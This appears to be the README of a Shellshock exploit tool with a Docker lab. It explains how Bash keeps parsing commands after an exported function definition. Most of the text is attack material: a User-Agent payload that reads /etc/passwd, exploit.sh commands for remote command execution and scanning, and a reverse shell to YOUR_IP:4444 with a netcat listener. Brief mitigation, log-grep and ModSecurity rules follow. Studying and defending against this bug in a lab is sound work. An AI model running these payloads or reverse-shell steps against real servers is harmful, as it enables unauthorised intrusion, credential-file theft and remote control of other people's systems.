# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'

# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"'  # The second command executes

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse

# Start vulnerable lab
docker-compose up -d

# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"

./exploit.sh --scan --target localhost --port 8080

./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"

# Terminal 1
nc -lvnp 4444

# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Client (Attacker)
    │
    │ HTTP Request with malicious User-Agent
    ▼
Web Server
    │
    │ Passes header as environment variable
    ▼
CGI Script
    │
    │ Spawns Bash process
    ▼
Bash Shell
    │
    │ Parses function + executes trailing commands
    ▼
Command Execution (RCE)

# Update Bash
sudo apt-get update && sudo apt-get upgrade bash

# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2

# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log

SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"

bash-apocalypse/
├── README.md
├── exploit.sh              # Main tool
├── payloads.txt            # Test payloads
├── docker-compose.yml      # Lab setup
└── screenshots/
    ├── intercept.png
    ├── Payload.png
    └── result.png